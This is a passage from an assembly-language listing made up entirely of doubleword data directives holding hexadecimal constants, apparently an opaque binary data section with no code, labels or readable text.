		dd 98F5CDD7h, 254308E1h, 0E5D2CFCCh, 0BDCEFE12h, 43E203B3h
		dd 0E294B243h, 318F5554h, 2129E836h, 7C2DB675h,	0F8865839h
		dd 575C1391h, 9DD5D747h, 0A7555FC2h, 6F4693ADh,	149F27EFh
		dd 79FD984Ch, 6F33A1F1h, 36BD18B7h, 6EDD0A9Ch, 75873E62h
		dd 48E11B08h, 2ED1E643h, 0BF8BCB93h, 122AC987h,	0DCAC6722h
		dd 90F05FBCh, 45131E3Fh, 0DEE3E2EBh, 8FF74A90h,	9058AEC3h
		dd 3C72C529h, 901ABB53h, 0D747B1E6h, 0BAA02C26h, 0F7579A62h
		dd 0CE8236AAh, 1B26AA5Fh, 53DD2B3Ch, 0F039E1C8h, 533607B6h
		dd 0CA015F9Bh, 0A2A001DEh, 43172CE9h, 0FEEBCE34h, 0BABB86BDh
		dd 0C258056Eh, 0D8B39583h, 6A9739F8h, 0D39228E9h, 588A34h
		dd 713BC281h, 0B3907C59h, 1644F083h, 42E87668h,	3AC8ECh
		dd 5F0C907Eh, 0B8568E65h, 5B2F74DFh, 887E1B49h,	3F7D7D55h
		dd 5CC64235h, 43EDDF35h
		dd 0C9DD7E65h, 5B19D57Dh, 0A4DB165h, 0EF7ABFB2h, 0F84B8D36h
		dd 86B44007h, 578957ECh, 0B62BCFA3h, 3CDA435Fh,	171BFCD2h
		dd 484B64C6h, 746BC871h, 47974F1Dh, 8BAA47A5h, 792808F2h
		dd 8D6F9E25h, 41BCAB2Dh, 26EA9860h, 9B00F2FFh, 7FF15092h
		dd 7E09C84Dh, 813B5651h, 3BA1913Ah, 0BA44B601h,	694DFBA4h
		dd 0B15D7C99h, 96514F6Ch, 4B0B7C2Ah, 0DBBB7BD3h, 9C3677EEh
		dd 13132223h, 9A953F2Dh, 0C22442C4h, 0EBF1D1B4h, 8C83A024h
		dd 0FF4333FCh, 7B4A485Fh, 95CA941Ch, 8F47755Ah,	81145D13h
		dd 0B2FFA331h, 0E678692Eh, 2E376E37h, 69E5DF57h, 8718DEFDh
		dd 27AFADAh, 0E53647FDh, 0DC8FC9B3h, 52998FF0h,	514E932Fh
		dd 6F8E06F9h, 8392D0F9h, 24D80FA7h, 0D3253540h,	0DFB28103h
		dd 3B74B309h, 5B640ECBh, 0BECF61EBh, 0F56C55F5h, 8A1FAF04h
		dd 36419760h, 0B5788D10h, 0AE467B90h, 9A21997Eh, 2D91C7A9h
		dd 0D4ACAE6Ah, 56D8105Fh, 0BA0ED231h, 86887BF9h, 0C1969A7Fh
		dd 30BF452Ch, 10286B28h, 49E9E68Bh, 0C7292E89h,	0C385AEBDh
		dd 8FBAE403h, 37A0CA7Ch, 3589CCCCh, 0A6779C13h,	4358338Fh
		dd 0F4CC0ADFh, 45FC941Bh, 5146FED5h, 0C986F5ECh, 0EBCF809h
		dd 5A298756h, 18AAF4B8h, 246AEEF1h, 3C259169h, 0F383B2BBh
		dd 0A39E436h, 6668FEC5h, 1CA9ABDBh, 0F6A7CCE8h,	94A6E5EDh
		dd 7CF67D44h, 0B47D20BFh, 9B02FEA0h, 7150EB51h,	9741EDF1h
		dd 0C1646FC7h, 0E37CFAEAh, 5604924Eh, 0DE218005h, 2C7B4FD4h
		dd 9FDA1AAAh, 68F3DDA7h, 6F527C65h, 2B62B203h, 0BE836C4Dh
		dd 0EFEE92C5h, 0F517AE83h, 491C4913h, 9152E110h, 94B6A228h
		dd 1EF2F9F1h, 34A4BA81h, 0D48B14F6h, 67F29F4Eh,	8761F2C6h
		dd 3E68BE9Ah, 3B88DD11h, 997F1533h, 22C6BD54h, 47F698B3h
		dd 0F7BFF4FFh, 5F3E35Eh, 5699E5A1h, 230F6BC4h, 0DAB4DE54h
		dd 0B2F9CFDAh, 25574B84h, 0C0B5D359h, 7B01DE7Dh, 0B242E000h
		dd 70E863D3h, 6C2FF4ADh, 0ADF18ECCh, 0D9643A8h,	0E6BCAE93h
		dd 701BB291h, 791301A0h, 4472ACCFh, 5EA56506h, 0F080B6D8h
		dd 7534645Fh, 364978C3h, 0A00030h, 3D583A3Fh, 0BF9FCDCCh
		dd 3C21A77Fh, 89E8169Dh, 9F101CECh, 4940702Ah, 0F15A5946h
		dd 0BD5D72F0h, 24F919CEh, 6733CDA1h, 0E6BEDC11h, 340F0E71h
		dd 3F34C135h, 9151A9BCh, 0FE27BE01h, 673AF5C3h,	1D1EA3F2h
		dd 4C49C144h, 678E8921h, 411AB6F3h, 485792DFh, 8F4CF058h
		dd 94FF7FF3h, 0BAAF1090h, 0E2CD188Bh, 0F3669C3Dh, 367C732Ah
		dd 0FC1D1705h, 61BF14DFh, 0A84E44D3h, 0AB368026h, 0C60EE369h
		dd 53DC2E85h, 0F48D44C2h, 0DB9A6F30h, 0FC72357Ah, 5EED2E98h
		dd 8A9B5CBh, 1B7AE751h,	0CBFB924Fh, 165850FDh, 4F8A8D0Bh
		dd 0D792ADABh, 89C42AF2h, 0D6E66082h, 0C54F46C5h, 0E3AB9900h
		dd 506AD244h, 5E174C92h, 0F5875AAAh, 0DA22679Ah, 0AB15378Ah
		dd 52258494h, 0AF58CBC7h, 3452A2DAh, 0CC186B62h, 66920229h
		dd 99632F5Fh, 6C0890E6h, 0A52A8E69h, 25672C67h,	403F7538h
		dd 18FA4FA2h, 0EF02B09Bh, 51A59F66h, 80E7BC22h,	647BC316h
		dd 0F006ADECh, 0AF8F69CEh, 0E1F59927h, 0D0D0E590h, 698211C8h
		dd 0B4BDC9h, 0CD6BE5D2h, 904DF5D5h, 2179F59Eh, 0E8D1134Eh
		dd 9C5B0156h, 5A517D86h, 257822EDh, 2CE00D9Bh, 0C7F59E88h
		dd 57E5CF40h, 0CB42FC60h, 75FA518Ch, 836920DBh,	0FD8F8DCh
		dd 0ADD8020Eh, 0E7806BC3h, 7CBD94AFh, 56932BC8h, 91D48632h
		dd 5BD24C58h, 58CF29C2h, 234C97D0h, 0E316142Dh,	7F898FACh
		dd 0D3C78642h, 6C046139h, 9D33A91Bh, 36D3AC84h,	9E4FE19Eh
		dd 0F49BBABDh, 0A0961B7Ch, 0DE2F5CD8h, 4717055Ah, 3409306Ah
		dd 590B03EBh, 0D42180C6h, 0EC87AFF4h, 0B60AA47Eh, 26169681h
		dd 0B1A5554Eh, 1ED1C941h, 5EE50EFCh, 0B1C19D72h, 69ABC91Bh
		dd 3C9F46BCh, 0B47A89F7h, 0E48637B6h, 95360AEBh, 0F9A486C8h
		dd 6BFAF99Eh, 4C3A4EF4h, 1295D9D1h, 0CABF2E53h,	2A4867A9h
		dd 0C7881DBh, 0D12F99C7h, 0E51360DBh, 3ED6696Eh, 0F113BBFBh
		dd 3E04EB80h, 67158A75h, 975D3AB9h, 8549919Ah, 0DF003599h
		dd 1FE36E98h, 3DFF2C36h, 9773DE4Fh, 0A2DD3AF6h,	6C0148DCh
		dd 67553B96h, 0CB513BC4h, 8D23325Bh, 0ED12C5EAh, 896B1A6Ah
		dd 0ED305879h, 0B6775CA3h, 0D98E3180h, 0D0465672h, 0A140E5E3h
		dd 60818590h, 0BEEAED69h, 0D111738Eh, 0C2DBE6DCh, 3464F47h
		dd 2F800B51h, 0C5244174h, 0EB54961Bh, 0AB51C6B9h, 3BF465B5h
		dd 0F5094A9Dh, 0DA54B7F2h, 0D067E612h, 449D9677h, 5E826EFAh
		dd 1B6ABAAEh, 6794875Ah, 0B8354F5Eh, 698F4BAAh,	0FC55416Bh
		dd 0FEF0DED5h, 2273DBCh, 9360ABAEh, 5F03FCD9h, 640FFAEEh
		dd 0B3F50946h, 9C31961Fh, 17A54829h, 370296A4h,	65EF0ECEh
		dd 2CDBF952h, 0B99ADCA9h, 40949F5Dh, 4515ABB1h,	0B74BE100h
		dd 11A88C39h, 6BF3A114h, 7DF3C296h, 73224F20h, 0C69B0A85h
		dd 8DB31975h, 71B1AD6Eh, 39C6B27Eh, 0E546AFBAh,	7A7526DDh
		dd 0BD6C5B38h, 339A33F4h, 0CF1BE4A3h, 0FDE05BDDh, 0A7DCD323h
		dd 420B26E5h, 237B77BFh, 7DE7F4D7h, 224186E8h, 0EB0F1C3Fh
		dd 1E173FC3h, 45B146DFh, 8A96833h, 4075C143h, 0BE33DD8Dh
		dd 0B03EF55h, 6AE1C4B5h, 682D1F0Eh, 0ED7EA984h,	3C8C3C7Eh
		dd 0AC419E8Ah, 461838D8h, 5CED8ABh, 33210012h, 0E4E02E23h
		dd 0C306AC94h, 13712BFFh, 193B1DC8h, 41BD6FF7h,	0BCB4D4D2h
		dd 0C45FBDEAh, 1572E605h, 9DA50E0h, 0C09052D3h,	39666850h
		dd 35FCD11h, 56ED4A74h,	0DB44C71Eh, 62AB1B81h, 7A196B06h
		dd 8B33926h, 0D337843h,	9DEF1129h, 0CCF2552Fh, 0DDDDF5D1h
		dd 21C1CBC4h, 7A6C181Ah, 0D6758D19h, 0E99F53B3h, 60431A0Bh
		dd 862EBA3Dh, 11ADF368h, 0E56A890Ah, 7B8854D6h,	2D153BFAh
		dd 0F1AD2CDBh, 0ED7362Bh, 373677BEh, 604DD413h,	2E9BBAEBh
		dd 9DB904EEh, 3023E27Eh, 0C0E8E85Ah, 0DEC077ABh, 0E9981EE7h
		dd 0F46DD1CDh, 25CCA4F2h, 63D0E177h, 9E03F05Ch,	165F2405h
		dd 121D8D59h, 3C4E21D0h, 990BF2C7h, 793DDD45h, 0D1346D38h
		dd 0F1F264A6h, 0D34E2AD6h, 0DCA3F47Fh, 0E3AABB5Bh, 5986DA8h
		dd 0BFD4AA7Fh, 63087854h, 64E37336h, 60B47413h,	80F3D37h
		dd 5E8BE48Ah, 0DCC28B21h, 366C42D4h, 487D7219h,	0DB21421Bh
		dd 0BD7C897Dh, 0D5B412EAh, 0B4B0FF91h, 9F599519h, 7C562E06h
		dd 5175BEA9h, 83762A33h, 15596C63h, 4FD28257h, 59393BD1h
		dd 0CCB8E89Dh, 0BD1E3D99h, 9F83E533h, 165EA233h, 3700448Ah
		dd 0A5F4307Dh, 409D6027h, 0EF27CD8Eh, 91DFAF55h, 0E3CF7F73h
		dd 0A3FC95F3h, 974A9341h, 4E677F06h, 0A39AFC6Fh, 0AAE0E140h
		dd 16B135ECh, 33412D18h, 0B0BDB76Bh, 0BD3E26B3h, 9836449h
		dd 5FFCA322h, 957AEE05h, 4442EDA2h, 0B2DDFE9Ah,	25C83C50h
		dd 0DF5D2287h, 8E827592h, 9EAC1A6Dh, 3FE6CF6Dh,	8D780A04h
		dd 22CD44D9h, 0FC97B832h, 325A50A0h, 4D8760B3h,	6E096696h
		dd 0AE0F172Fh, 3EDC11BAh, 52147AABh, 10BC8A20h,	775E154Eh
		dd 7784195Ah, 51882C75h, 0DF448FF9h, 53EB10B7h,	88396CDFh
		dd 0FB7B18DFh, 0A312DDE8h, 0FF5BBBCh, 270F5ADEh, 2F548E3Dh
		dd 0B6BAED6Dh, 0E4EF2163h, 0B644DA13h, 99DCD840h, 0A4B57023h
		dd 2043D1D0h, 903E9D9Eh, 3CC82D7Dh, 0D6920E55h,	0EF1EAAABh
		dd 0FA97A928h, 97B674B6h, 0DA95C270h, 808AEF27h, 466F0CADh
		dd 0DBFCF5A5h, 7173DEEBh
		dd 1B890671h, 0F4C19E85h, 0FAE9A750h, 7CBF407h,	0DE33A398h
		dd 95EF1198h, 0B54873B9h, 11BF32FAh, 51AB23EBh,	0BF0E150Bh
		dd 4BAD94B1h, 60A44A46h, 1B663305h, 0DC1B94A3h,	435F9697h
		dd 0A3714A14h, 25F477Ch, 0F77E5A00h, 8E72BE5Eh,	0AA215397h
		dd 0CCC59AB7h, 0A85C9D70h, 0C8BC05BDh, 47D13E5Dh, 55C97E4Dh
		dd 0D0D4CA0Dh, 209D8B14h, 0CC13F07Fh, 0EDF1613Eh, 56E8E65h
		dd 0FBBF5A80h, 20DF7A24h, 70F172DEh, 9FEB5B08h,	785B6FE9h
		dd 63CC9BBDh, 0E056008Fh, 23F9C08h, 58F4A57Ah, 5BF4EE05h
		dd 4A9584F9h, 602F4111h, 7C7453F9h, 3E36C106h, 3E321A29h
		dd 8A4BC8C2h, 31A2D554h, 1E8EE41Dh, 0A3E25E81h,	8D0E05B1h
		dd 0E6E98F00h, 49F9BAB9h, 24B3D476h, 0D22E7Ah, 0FA665C6Dh
		dd 0D73C034Fh, 2FB66564h, 34ED457Dh, 0DB31A67Dh, 0AE56F79h
		dd 0B283B9F8h, 9C851332h, 61A61DA2h, 1CBC1B4Fh,	0E66B1CEBh
		dd 513043D4h, 0FA6645D4h, 65032123h, 26222945h,	93A2C4B6h
		dd 25C54026h, 5CE75420h, 6A271F94h, 0F96222Dh, 95499AE5h
		dd 0B0549FCh, 66929BBh,	0EC0A4B23h, 0E7843A0Fh,	9F3A23A2h
		dd 0FB5CA588h, 0E13BDE17h, 289D01D7h, 60DDC6B3h, 316447Eh
		dd 98F96449h, 0B936E141h, 0A7EBB69Dh, 0EE81372Bh, 0EC4B56E9h
		dd 2802EB6Eh, 0A4783DDh, 0F0FE1420h, 38E3E1Fh, 0C8B317B1h
		dd 0EAFB0C30h, 0A476059Fh, 0E83780A7h, 0A5C4C145h, 7B0D45F2h
		dd 0E48E3601h, 0A9D73D3Ch, 0DECE2F26h, 295386A2h, 0B41EE028h
		dd 0D10A157Ah, 4C7D7D7Ah, 9609BE8Eh, 0D18A77A9h, 96421A06h
		dd 0ADA70F3Ch, 7682F872h, 79111DD0h, 0D7A4A733h, 787280BDh
		dd 684E71AFh, 194CBB75h, 554A26F9h, 0D915312h, 22FC69BFh
		dd 28BE71FEh, 5CF4F945h, 1E11CD62h, 8C6CEEh, 0CCC81E73h
		dd 2913B893h, 0C787F2E0h, 5E8501EAh, 958E9B93h,	0DAD32AD0h
		dd 4AA7145Eh, 0D1025793h, 81B9EB7Ah, 6525D36Dh,	61AC14E7h
		dd 29DEE6C2h, 0B0FD9F16h, 0D17CAACAh, 82FCEC53h, 3D9AD7C6h
		dd 40CDFEE2h, 6EE94A03h, 58155D55h, 5EA96E93h, 0DA19E83Eh
		dd 0A576BB12h, 6AF50A66h, 0F5F68EF6h, 0D49F50BFh, 1D27A93Dh
		dd 72C482F9h, 2678D063h, 0AF92D44Dh, 0C65B0005h, 94787329h
		dd 7034FEF1h, 71FF75D8h, 91C63538h, 721B09C6h, 0A0D976EFh
		dd 987304E6h, 0AF955BC0h, 0BB9B56E6h, 79A18B43h, 0BC4B47A6h
		dd 397426E3h, 0D975662Fh, 0D8390F0h, 9116A75Fh,	0ABDE5AF0h
		dd 0D945746Eh, 5D97B1F9h, 204185CFh, 68FAEBB3h,	764B8E03h
		dd 79D41B48h, 0FA2CF6F0h, 7991A2BCh, 90978B70h,	2C382D4Bh
		dd 0E2A9EAB3h, 0DB113B38h, 9A988139h, 1B3B7552h, 0C515997Bh
		dd 0FE1F3D71h, 0FF54FBCAh, 35EC1B49h, 16506392h, 1D34B54h
		dd 44660930h, 6783B643h, 4F2CE667h, 11BEBC7Bh, 0B799FDC2h
		dd 0F506139Ch, 0B961E3FFh, 0C3B114A4h, 0C900033Ch, 0C33AE046h
		dd 6B540697h, 0E9F192FAh, 2518BFh, 6965819Bh, 35AC760Eh
		dd 63DEC7Bh, 0DD6DA6Ch,	0F5F295CCh, 1E7EDED1h, 0F3744C0Ah
		dd 59AF244Bh, 0E682AB57h, 0D2B50FFCh, 656F4D9h,	0A42160E0h
		dd 0C08DAC42h, 0B37F4742h, 323CEC9Dh, 0D4C4B77Eh, 28406F77h
		dd 0F06923F1h, 9F6AADFAh, 107A2ECFh, 0F7D5D724h, 8431A429h
		dd 0C01E2ABCh, 0BDFA28A8h, 39B9DAD1h, 338B3EB6h, 0CF2BE8A8h
		dd 34A31B7Ah, 52AABAD4h, 0E7992BBFh, 2DB987Bh, 0C71D6793h
		dd 0DB4E0A2Fh, 54CB6225h, 7FE33C17h, 0BAE709E7h, 0A7B55DE1h
		dd 0BAE9DD85h, 222D49EEh, 632164C4h, 23026963h,	0E4A73B94h
		dd 0F84B765Dh, 7D76AF71h, 84EBAA4Ch, 0A2EAE68Eh, 0AAB82930h
		dd 59216C3Eh, 77EE6FDBh, 336818AFh, 40A8A574h, 0B9E20B94h
		dd 0DF6FEB2Fh, 0BCFEA1C8h, 0C042B0D2h, 0F111A5Bh, 67A0E2F9h
		dd 0F164354Eh, 0E818F80Eh, 7A11DC63h, 2C0A4Ch, 0B5D5A571h
		dd 8E8E8709h, 8E4C274Eh, 9D36EB87h, 25BCB7CAh, 0AED2AE43h
		dd 2BFAFEE7h, 90CE70B1h, 4632B975h, 88BF4297h, 0C62504F9h
		dd 2B72E60Dh, 0B481D0C5h, 0C81CD86Dh, 9F2A36BFh, 912726F7h
		dd 581755E0h, 7AF9E62Fh, 0EC0B46ECh, 38716654h,	0EA113AAh
		dd 0ADAD0F69h, 40D3CD51h, 427BABF0h, 0BA06CDAh,	6BC0CDF3h
		dd 78D2483Dh, 23272C27h, 5CC938D6h, 489D2B6h, 3B31D799h
		dd 733DC22h, 1FA0C3F2h,	0D1BD1268h, 0B4E25771h,	2C8DBF35h
		dd 835DE752h, 5AE7652Dh, 0E1D5BA51h, 0A22D2D5Dh, 1B7E2EDBh
		dd 0E0D6E969h, 80129AD0h, 1443F0C1h, 6230D6Fh, 7D43FBDEh
		dd 1D4CB6D1h, 1F34A739h, 0CCF865D7h, 0A003CB03h, 8F3A4F57h
		dd 0C6EB3B85h, 3829E919h, 0E865073Ah, 6EE16F06h, 9C2348F2h
		dd 6EB3F2CCh, 7C48CB0Ah, 3138A00Bh, 9A8B675Ah, 0C50AA6C2h
		dd 9E104E9Eh, 35E322D2h, 71B8599Dh, 6E698FE0h, 615C74D7h
		dd 0D474A83Eh, 3233DE72h, 4E81575Ah, 0BFB6F6F9h, 97A757DBh
		dd 0D0747FD9h, 0EDBE7544h, 6DAF1684h, 0BD6E590Ah, 0F9BFB099h
		dd 0A6151B78h, 0BBDEF929h, 0A8D61ACh, 0A952340Bh, 67089078h
		dd 63100096h, 4CC694C9h, 5BBD6F44h, 0ECC0CE9Eh,	62F2D334h
		dd 0D0010DF8h, 0EC3805CBh, 762EE709h, 1685FF65h, 154E4041h
		dd 74715D62h, 46DF67FEh, 3CDD2CCBh, 0DC064C38h,	31273F32h
		dd 873DB0EEh, 0C2714E4Dh, 5A6F5Dh, 1C2EA94h, 0F0E97A98h
		dd 0BCF0ABA8h, 501A1FEDh, 9FE853A9h, 2CFA7D1Ah,	16618A79h
		dd 0ABF0391Fh, 4C63412Dh, 9F3B00B9h, 9785A484h,	0BA8531B6h
		dd 0F148DBF2h, 0DCCB77B7h, 6D0A6837h, 0E6BAE924h, 267436Fh
		dd 26F82C18h, 5587D28Dh, 0AFFA2F67h, 6D56EFFDh,	4DF3C565h
		dd 0EED0F79h, 0EB289B29h, 5AD3976Eh, 0C9FE37A7h, 0FFA2EDCDh
		dd 75302627h, 0CA6EFD2h, 0C5F1B1FCh, 2B831057h,	7B05DB47h
		dd 4804E776h, 752DD15Eh, 0ECF3AA47h, 0DADFBA5Bh, 7E13E021h
		dd 593696E0h, 667611AEh, 0FBBEDEE3h, 0C762BDAh,	9B90CB15h
		dd 5FBFC371h, 0B16091CBh, 0B2050947h, 8EEE4241h, 0C3F0B42h
		dd 37A62C03h, 582E3462h, 0F3E8F2D3h, 65D9D9D5h,	8465403Eh
		dd 8C126E9Bh, 11598AADh, 0A7DAEEFh, 669CF69Dh, 54B0A6BFh
		dd 1132CFDCh, 0EA1C8F49h, 603B9A73h, 8CB9F2D2h,	0B1E3D31Ch
		dd 4AA8C488h, 118EB6A1h, 3D444B5h, 1E82E15Ah, 23895DC4h
		dd 0A38C9AB1h, 18174D6Ch, 9C34CCFh, 7827214h, 0AF7661A7h
		dd 1DB4CCE9h, 204BC3Fh,	424193BFh, 2C32E599h, 2FEE962h
		dd 0E917BBE2h, 0C8FC74CAh, 92D71D8Eh, 0FA9C2AD0h, 0E84F90F3h
		dd 0DB66C92Bh, 0C8351C6Fh, 2D5D26EFh, 7981989Fh, 219D2A9Dh
		dd 0C7254192h, 3E0EC097h, 0EA5D729Dh, 0BDC2029Dh, 1162FB30h
		dd 0D827407Eh, 4AB9500Fh, 0C97E9A5Eh, 819A566Dh, 0CF3BD86Fh
		dd 28678A8h, 0D67E1BD5h, 7EA3E00Bh, 0DDC8811Fh,	2B587296h
		dd 184B650h, 87BAE631h,	93E22343h, 0A5846EF6h, 0C7262EC3h
		dd 0FFC58579h, 700A60F0h, 923588F8h, 3B4E76C5h,	0B412FB3h
		dd 92143EADh, 0C5F98BBAh, 53A349Fh, 0D1BAECBFh,	0FBA022D3h
		dd 50801DC8h, 1A93C5C7h, 885D2D78h, 0F6C9E288h,	215E6A3Eh
		dd 0DD8EB794h, 371F1BF8h, 7411E723h, 419D6F28h,	0E3C0C770h
		dd 2539D43Ch, 0B73A38E5h, 841DC9F8h, 0CA88F200h, 0D2454A44h
		dd 6004FC6Ch, 1A64793Ah, 74FF880Dh, 9A57DC1Dh, 78DDE26Bh
		dd 0FF7D22B1h, 45C82EB6h, 0BCC559CEh, 19042804h, 7EC97544h
		dd 83712B69h, 0EF0E62A3h, 2D2E62A7h, 7F4F4D7Fh,	0B001B4C6h
		dd 0A4ADFAD1h, 4396ECB7h
		dd 0AD79812h, 0F7F28726h, 0B2E0E501h, 73B6F6F1h, 0BE550668h
		dd 5254FA22h, 258797h, 448C73B0h, 725712CEh, 22FC0ACAh
		dd 9EEFF23Fh, 0BF5E2527h, 9AC2109Bh, 0B63F9E9Ch, 418641F2h
		dd 0B404E4E4h, 29971387h, 7D5F1E17h, 0FEBCA371h, 84F035ECh
		dd 1D3BDDE7h, 36F9CE3h,	0AA4E6B43h, 62546A4Bh, 6AC71B76h
		dd 0AA42296Ah, 1ECF772h, 0B820013Ch, 6117E0EAh,	95F67B2Bh
		dd 815EF050h, 0A7C5F8E4h, 5E3FD7F7h, 72CE0AE7h,	620673D2h
		dd 37E6E908h, 0B480D53Fh, 0E8908CB1h, 0C5389670h, 33CB9616h
		dd 73E32F91h, 4DAC81B0h, 7E0157DAh, 4B504159h, 0EDD2C9D1h
		dd 0FD424A76h, 0A1638B6h, 6A3DB5C1h, 68E7BDC0h,	0D407F7F0h
		dd 9FAE196Eh, 977E699Eh, 0C2BA755Ah, 0E3E50B61h, 0EE729AFDh
		dd 0E6F02CBFh, 0C87AE353h, 0D9E3D64Fh, 7419F1F3h, 0F2CFA4C6h
		dd 9028C727h, 0A7251F64h, 0B730EDE8h, 0D6CCB68Bh, 0F76092DBh
		dd 0AD415556h, 0ADA01A47h, 0BE9E1A21h, 0D6BBCB4Bh, 27650637h
		dd 8A81EDC5h, 69A612D7h, 0F3EFD34Dh, 0E97800DEh, 73E27EA2h
		dd 0FCD4240Dh, 5B260AA8h, 77572FE3h, 3B501B47h,	7F24CC1Bh
		dd 4C53A20Dh, 35771B6Dh, 0C9E77F97h, 0DAA82C6Ah, 6EB70D0Bh
		dd 2166D802h, 0F3607576h, 8389C986h, 0A6B76859h, 520AEEB4h
		dd 58E6B1C2h, 3E8A350h,	0AC575D91h, 7326491Ah, 55130CB0h
		dd 5BB1B88Ah, 0A169BBA9h, 7A9765B6h, 20AC46C2h,	0EEAEA2DBh
		dd 44201B42h, 0BB6383F3h, 16D16EB0h, 90080523h,	35071D0Eh
		dd 4AC67481h, 0A6AF756Dh, 0B3C518FDh, 11B34D77h, 0A70BC935h
		dd 0DF5E6F92h, 0C6BB8469h, 543965F5h, 388283D2h, 0DAED4776h
		dd 3CD2FBB7h, 0BEA052D1h, 4007B6E5h, 717C3A33h,	64DABBFh
		dd 0DC1FCCDCh, 0FDE67751h, 8531C6B2h, 0D60CA9CCh, 2F84295Eh
		dd 0D6E2CD66h, 2277EB57h, 7D11FB64h, 7AF7BF96h,	0BEC068ECh
		dd 112B8D37h, 3CA3959Eh, 0AFEDEAEAh, 0EA0FEDC7h, 7D963B3Dh
		dd 44655791h, 45E7192Dh, 5F0ABAC6h, 8E410B5Ah, 0FA6347Eh
		dd 0C8D2B65Eh, 9DF68C74h, 250B8EF9h, 49CF6E0Fh,	527132D3h
		dd 55EF89C7h, 8370059Dh, 58AA27ADh, 0ED0CD1D5h,	0FC1D600Fh
		dd 0E60C2402h, 0E6CBD9C1h, 9D8BA0ACh, 0BDBECE66h, 0D22FE6F6h
		dd 6ABC65B5h, 758B8FA4h, 4CC8B948h, 70274D01h, 0F5A67770h
		dd 8E3D9F0Bh, 0A576917h, 0ACCE787Fh, 0DED06ABBh, 0C48DBDAh
		dd 76BE0FADh, 1E9AFD15h, 69452138h, 0B6C65BDDh,	94AB185h
		dd 6BBE0FF0h, 0D153644Fh, 3CCDDCFBh, 460704DDh,	8C2669FDh
		dd 9E5790E2h, 5902E8F2h, 0D0E77558h, 2438B040h,	4715FD7Ch
		dd 0D23DAC4h, 0FA6C0135h, 8E740117h, 7B3E1F31h,	8006F17Ah
		dd 7C33383Dh, 7DFA38ACh, 0BEB7843Eh, 9D04B0A5h,	0E35C67E2h
		dd 9483FFDFh, 3E228C4h,	9BC11A76h, 9202E3D0h, 0E904C05Ch
		dd 3DFFA09Dh, 0DBC23DDCh, 0BCDFB939h, 0D09C4261h, 4CDF4B14h
		dd 390850A0h, 8508E6A8h, 0BACC7116h, 63594EDFh,	0C82B45h
		dd 93292F89h, 6CE18121h, 684F7C17h, 0A45EA6EEh,	0F888B5B1h
		dd 0F1AB8F71h, 13B46696h, 581FEA1h, 2D85575Fh, 0D1AE485Ah
		dd 0CCF06AAAh, 88A5039Ah, 0F8B1EB31h, 10C11557h, 6A62079Bh
		dd 0BD465BB0h, 0B96A6D67h, 0C573C287h, 723E50DCh, 42B33118h
		dd 0CA264F6Ah, 3154BC6Ah, 2CEDF915h, 9B239E9h, 613078A2h
		dd 41536BB1h, 0A5BD74F8h, 7F19E854h, 42B538F7h,	0D1440216h
		dd 0A0D2EEFCh, 610B6CA2h, 0BF16237Bh, 2A0BEB81h, 9F641815h
		dd 5066B39Dh, 0FAC1674Fh, 1ABD7449h, 0C40AF4B1h, 0DE1B5FF8h
		dd 54D7AA8Dh, 17D93339h, 0ABF09B6Bh, 91740340h,	0DFD6097Eh
		dd 0A15FEB26h, 0D156FCCFh, 6498539Eh, 7E9D9DFFh, 905D775Eh
		dd 4457F36h, 0ECF9DE80h, 9455211Dh, 6CC7B52Ah, 0C49A950Bh
		dd 0C4C08B70h, 8D9F1DAEh, 88888E8Ch, 0E6564E6Fh, 689E04DBh
		dd 5D1EE537h, 34FA9140h, 49E09121h, 0E4468743h,	0F66FC522h
		dd 24D72A02h, 605811DDh, 0BEC8CA8Ah, 0B6D0BBE2h, 0AC658AE9h
		dd 34839C1Bh, 5B7DD7FAh, 0EB839C77h, 0EAEB0155h, 0E95FF89Bh
		dd 27085008h, 57B47DA2h, 5DBEA8D7h, 0A9AB4F47h,	51762441h
		dd 0A9265F46h, 0B7395755h, 31C2E082h, 9A9D12F7h, 4C427A94h
		dd 0CBEB716Fh, 92DAEFC8h, 0F16EF0FCh, 73FDFC16h, 0C8256AE7h
		dd 181109B3h, 0E877B8B8h, 8E45BCBBh, 766A36AAh,	0F5D8B249h
		dd 0ED899DC4h, 2A9775C3h, 2E524886h, 9B6059F1h,	173439E4h
		dd 88AEA7E0h, 0C3DE23C5h, 888A05FDh, 4F8E26B1h,	949C4B7h
		dd 0A642D174h, 4B945FF1h, 7B588FFFh, 0D8438BBFh, 758D9B22h
		dd 1209612h, 9741C845h,	0FE68423Bh, 66D7EC42h, 723863FDh
		dd 0BFCA0178h, 8D98EAB0h, 0C28A58C6h, 0F635675h, 1DD2EBB6h
		dd 87D49620h, 99F80C50h, 49DBBF9Ch, 0C6599816h,	0D26A06D9h
		dd 0B3157078h, 4544C401h, 0FDEE0FE8h, 0CC3EA191h, 6343E203h
		dd 0FFED138Ch, 0CB03B62Dh, 0EA32D84Ah, 6691442Ch, 7065B4AAh
		dd 0DE2FFAEDh, 0CB377E46h, 315034D2h, 91743F3Ah, 0C778F969h
		dd 0B15E5DC5h, 37209929h, 0F1AEE064h, 0A66F080Ah, 2480E95Eh
		dd 0BB710B05h, 8B49D4BAh, 0F6DA711Bh, 0FEF978C7h, 0E1DF460Dh
		dd 0DE6923E8h, 81AE2603h, 978B73AEh, 0CDE5B082h, 5DFF59ABh
		dd 54BB949Eh, 0B7E3D019h, 693A00EAh, 0F14A806Bh, 177EC14Ah
		dd 56615F34h, 0A50A9794h, 0D217B923h, 3123013Dh, 26EFA94Bh
		dd 81F2AB52h, 0DD19B4DDh, 596A8593h, 9A4C3F65h,	44A35CF5h
		dd 8EEAAAE8h, 0E51AB02h, 0DFBCF62Eh, 51D731C5h,	8C332EEBh
		dd 5FB6E007h, 0BF9442CFh, 0EA61E81Bh, 48F783Eh,	0FEBF6766h
		dd 3A6A0135h, 0CDD61505h, 0BF956C08h, 981786CEh, 18BD9D0Bh
		dd 872BD6E8h, 340B011Fh, 0F4453FF1h, 72F78624h,	0D168E404h
		dd 8C7B620Ch, 4C18F256h, 740836D4h, 0AA8B007h, 2BBF12C6h
		dd 0DC31AE4Eh, 4F565DCAh, 9E32BFDDh, 0D77F7E34h, 6D8D5153h
		dd 0D134C26h, 970BC1D0h, 879E7AC2h, 70890EA6h, 0A2E83A74h
		dd 0A9B2BA62h, 91F31C27h, 7681F5EAh, 6A8BB20Fh,	0B990E756h
		dd 0FDFE136Ch, 0BD36C51h, 6A77FD64h, 7B692B8Ah,	0B3C04715h
		dd 2FAFC538h, 2F78C1BFh, 2C46D098h, 71048142h, 44A9A53Dh
		dd 8570B2D3h, 0D3C53B7Fh, 99DB52Fh, 9FAFADF3h, 0E438C703h
